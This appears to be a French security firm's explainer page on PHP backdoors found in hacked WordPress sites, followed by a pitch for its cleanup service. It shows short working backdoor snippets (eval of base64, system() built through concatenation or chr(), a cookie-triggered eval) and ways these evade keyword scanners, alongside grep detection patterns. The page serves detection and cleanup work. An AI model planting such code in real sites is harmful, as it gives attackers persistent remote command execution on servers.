Prise en charge en cours Lun–Ven · 9h–19h
Signaler un incident
P.02 PK.ECM

Backdoor PHP : les patterns qu'on trouve dans les sites compromis

Backdoor PHP : les patterns qu'on trouve dans les sites compromis

Une backdoor PHP n'est pas un fichier à part. C'est souvent une ou deux lignes glissées dans un fichier que vous utilisez depuis des mois : functions.php, wp-settings.php, le fichier de configuration de votre thème. Visuellement, le site semble intact. En coulisse, un attaquant peut exécuter n'importe quelle commande sur votre serveur à distance. Voici les patterns récurrents qu'on trouve en intervention, et pourquoi les scanners automatiques ne les voient pas toujours.

Définition en une phrase

Une backdoor PHP est du code malveillant intégré dans un fichier PHP légitime ou un fichier discret qui permet à un attaquant d'exécuter des commandes arbitraires sur le serveur, souvent de façon indétectable par une inspection visuelle rapide.

En clair, pour les non-initiés. La différence entre une backdoor et un webshell : un webshell est un fichier à part, ajouté sur le serveur. Une backdoor est du code caché dans un fichier existant. Vous ouvrez functions.php, vous voyez 300 lignes de code WordPress normal. La backdoor est sur la ligne 47, encodée en base64, ressemblant à un commentaire ou à une variable ordinaire.

Pourquoi c'est important pour votre site

Une backdoor active donne à un attaquant un accès persistant à votre infrastructure. À la différence d'une compromission par vol de mot de passe, la backdoor survit aux changements de credentials : nouveau mot de passe FTP, nouveau mot de passe WordPress, même réinstallation partielle du CMS. Tant qu'elle est présente dans les fichiers, l'accès est maintenu.

Sur les sites que nous nettoyons en P.02, nous trouvons des backdoors actives qui datent parfois de plusieurs mois. Le site a été "nettoyé" par quelqu'un qui a supprimé les fichiers webshell visibles, mais les backdoors dans les fichiers core sont restées.

Les patterns récurrents

Pattern 1 : eval + base64_decode

Le plus courant, le plus documenté, encore le plus fréquent dans nos interventions.

<?php eval(base64_decode('cHJpbnQoImhlbGxvIik7')); ?>

La chaîne base64 contient du code PHP exécutable. Une fois décodée : print("hello"); dans cet exemple inoffensif. En pratique, le payload décode en un shell complet qui accepte des commandes via $_POST ou $_GET.

Variante avec obfuscation supplémentaire :

<?php $a = str_rot13('riny'); $b = base64_decode('...'); $a($b); ?>

str_rot13('riny') retourne eval. Le scanner qui cherche le mot eval dans les fichiers ne trouve rien.

Pattern 2 : preg_replace avec le flag /e (déprécié depuis PHP 5.5, supprimé en PHP 7)

<?php preg_replace('/.*/e', $_POST['cmd'], ''); ?>

Le flag /e de preg_replace exécutait le second argument comme du code PHP. Ce pattern est ancien mais encore présent sur des sites PHP 5.x ou des hébergements mal configurés. Un POST avec cmd=phpinfo() donnait la liste complète de la configuration serveur.

Sur PHP 7+, ce pattern génère une erreur fatale. Sur PHP 5.x encore actif : exécution directe.

Pattern 3 : fonctions dynamiques via variables

<?php
$f = 'sys'.'tem';
$f($_GET['x']);
?>

$f devient system. Le scanner cherchant system( ne trouve rien. La concaténation de chaînes contourne les recherches par mots-clés simples.

Variante avec tableau de caractères :

<?php
$c = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$c($_POST['q']);
?>

chr(115) = s, chr(121) = y, etc. Résultat : system. Indétectable par grep sur le mot system.

Pattern 4 : backdoor dans un commentaire ou une chaîne inutilisée

<?php
/* Normal WordPress theme functions */
function my_theme_setup() {
    // setup code here
}
$x="ICA8P...base64..."; // legacy variable
if(isset($_COOKIE['_wp_session_v2'])) { eval(base64_decode($x)); }
?>

Le payload n'est déclenché que si un cookie spécifique est présent. Les scanners automatiques qui n'exécutent pas le code ne voient qu'une variable avec une longue chaîne et une condition qui ne se déclenche jamais lors du scan.

Pattern 5 : injection dans les métadonnées ou la base de données

Certaines backdoors ne sont pas dans les fichiers PHP mais dans la base de données WordPress : dans les options wp_options (champ active_plugins, sidebars_widgets), dans les widgets, ou dans des templates de page stockés en DB.

-- Exemple : option wp_options corrompue
SELECT option_value FROM wp_options WHERE option_name = 'active_plugins';
-- Retourne une liste sérialisée qui contient un chemin vers un plugin inexistant
-- mais dont le fichier est une backdoor

Ces backdoors survivent à un scan du système de fichiers si on ne vérifie pas la base de données.

Comment Secushot détecte les backdoors en intervention

Notre méthode en P.02 Nettoyage post-attaque combine plusieurs angles :

1. Comparaison des fichiers core avec les checksums officiels

Pour WordPress, nous utilisons les hachages MD5/SHA des fichiers de la version installée fournis par l'API WordPress. Tout fichier dont le hash diffère est examiné manuellement.

# Vérification des fichiers core WordPress
wp core verify-checksums

Cette commande liste les fichiers modifiés par rapport à la distribution officielle. Toute modification d'un fichier core est suspecte.

2. Grep sur les patterns d'exécution

grep -rn "eval(" /var/www/ --include="*.php"
grep -rn "base64_decode(" /var/www/ --include="*.php"
grep -rn "str_rot13(" /var/www/ --include="*.php"
grep -rn "preg_replace.*\/e" /var/www/ --include="*.php"
grep -rn "assert(" /var/www/ --include="*.php"
grep -rn "\$_POST\[" /var/www/ --include="*.php" | grep -v "legitimate_file"

Chaque résultat est examiné en contexte. eval( peut être légitime dans un fichier de build. eval(base64_decode( dans functions.php ne l'est presque jamais.

3. Dates de modification anormales

Les fichiers modifiés en dehors des fenêtres de mise à jour du CMS sont suspects. Un functions.php modifié 3 semaines après la dernière mise à jour WordPress mérite une lecture complète.

4. Analyse de la base de données

On vérifie les options WordPress critiques et les contenus de pages pour des injections de code PHP.

Pourquoi les plugins de sécurité ne suffisent pas

Wordfence, Sucuri et leurs équivalents fonctionnent sur des bases de signatures de backdoors connues. Ils détectent les patterns documentés comme eval(base64_decode(. Ils ratent :

  • Les variantes obfusquées (concaténations, chr(), tableaux de caractères).
  • Les backdoors déclenchées par cookie ou par conditions rares.
  • Les injections en base de données.
  • Les backdoors dans des fichiers non inclus dans leur périmètre de scan.
  • Les variantes récentes pas encore dans leur base de signatures.

Un scanner automatique donne un faux sentiment de sécurité sur les backdoors avancées. L'analyse manuelle des fichiers suspects par un humain qui comprend le PHP reste nécessaire sur les incidents réels.

Les erreurs qu'on rencontre le plus souvent

1. Nettoyer les webshells et ignorer les backdoors dans les fichiers core

Le webshell est visible, facile à trouver. La backdoor dans wp-config.php ou functions.php est invisible à l'oeil. Les deux coexistent souvent sur un site compromis. On ne termine jamais un P.02 sans avoir vérifié l'intégrité des fichiers core.

2. Réinstaller WordPress sans vider la base de données

Une réinstallation des fichiers core ne nettoie pas les backdoors en base de données. On réinstalle les fichiers ET on vérifie manuellement les tables wp_options, wp_users, wp_postmeta.

3. Conserver des thèmes et plugins inactifs

Un thème inactif reste sur le serveur. Sa functions.php est toujours accessible. Un attaquant peut y glisser une backdoor qui n'est pas chargée par WordPress normalement mais reste exécutable via une requête directe. On supprime tous les thèmes et plugins inutilisés.

4. Faire confiance à un scan "rien trouvé"

Un scanner qui ne trouve rien ne signifie pas qu'il n'y a rien. Ça signifie qu'il n'a pas trouvé de signature connue. Sur les incidents sérieux, le scan automatique est le point de départ, pas la conclusion.

Questions fréquentes

Comment une backdoor PHP arrive-t-elle sur mon site ? Les vecteurs principaux : plugin ou thème WordPress avec une vulnérabilité d'injection de fichier, credentials FTP ou SSH compromis (brute force ou fuite de données), xmlrpc.php exploité pour écrire des fichiers, upload de fichier mal restreint. Sur la majorité des sites que nous traitons, le vecteur est un plugin non mis à jour avec une CVE publique connue.

Peut-on détecter une backdoor sans accès FTP ? Les signaux indirects sont les mêmes que pour un webshell : comportements anormaux du site, alertes Google Search Console, spam envoyé depuis votre domaine, blacklist Google Safe Browsing. La confirmation et le nettoyage nécessitent un accès fichiers.

Faut-il reinstaller complètement WordPress après une backdoor ? Pas forcément. Un nettoyage forensique rigoureux (vérification des checksums, examen des fichiers modifiés, nettoyage de la base de données) peut être suffisant. Une réinstallation complète est plus sûre mais implique de refaire la configuration. On recommande la réinstallation complète quand le vecteur d'entrée n'est pas clairement identifié.

Un backup suffit-il à nettoyer une backdoor ? Seulement si le backup date d'avant la compromission. Restaurer un backup ne ferme pas la faille qui a permis l'intrusion. Si le site est vulnérable, la backdoor sera redéposée dans les heures qui suivent la restauration.

La détection de backdoor est-elle incluse dans un audit P.01 ? L'audit P.01 est passif : scan externe, headers, DNS, fingerprint. Il ne scanne pas vos fichiers PHP internes. La détection de backdoors nécessite un accès fichiers et relève du P.02 ou du PK.ECM.

Pour aller plus loin


Votre site a été compromis et vous soupçonnez du code malveillant dans vos fichiers ? Notre nettoyage post-attaque (P.02, 1 290 € TTC, SLA 24 h) combine scan automatique et analyse manuelle des fichiers suspects. Rapport d'incident PDF avec liste des IOC. Briefer une intervention P.02

Dernière mise à jour · 22 avril 2026 ← Retour au lexique